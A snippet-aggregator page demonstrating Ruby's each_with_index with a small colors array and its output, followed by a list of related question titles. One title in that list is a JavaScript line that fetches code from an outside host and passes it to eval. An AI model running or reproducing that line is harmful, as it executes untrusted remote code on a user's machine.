/Ruby/Ruby each with index

Ruby each with index

Ruby each with index

colors = ['red', 'green', 'blue']
colors.each_with_index do |item, index|
	p "#{index}:#{item}" 
end

"0:red"
"1:green"
"2:blue"

7

Source: hackerrank.com

Ruby each with index

colors = ['red', 'green', 'blue']
colors.each_with_index do |item, index|
	p "#{index}:#{item}" 
end

"0:red"
"1:green"
"2:blue"

1

Ruby loop each with index

X.each_with_index do |item, index|
  puts "current_index: #{index}"
end

0

Source: stackoverflow.com

Similar codes

6 votes446 views1 answer
Ruby comparison operators
Ruby
0 vote386 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote343 views2 answers
Linker command failed with exit code 1 ruby
Ruby
0 vote514 views1 answer
Blocked host: c25f383bd08f.ngrok.io
Ruby
0 vote351 views1 answer
Rails on_delete cascade not working
Ruby
0 vote487 views1 answer
Rails params require check exists
Ruby
4 votes420 views1 answer
Uruby to lower case
Ruby
0 vote356 views1 answer
Rails not_found
Ruby
0 vote843 views1 answer
Gem 'iex-ruby-client' how to set up
Ruby
0 vote352 views1 answer
Rails load environment variables
Ruby

Share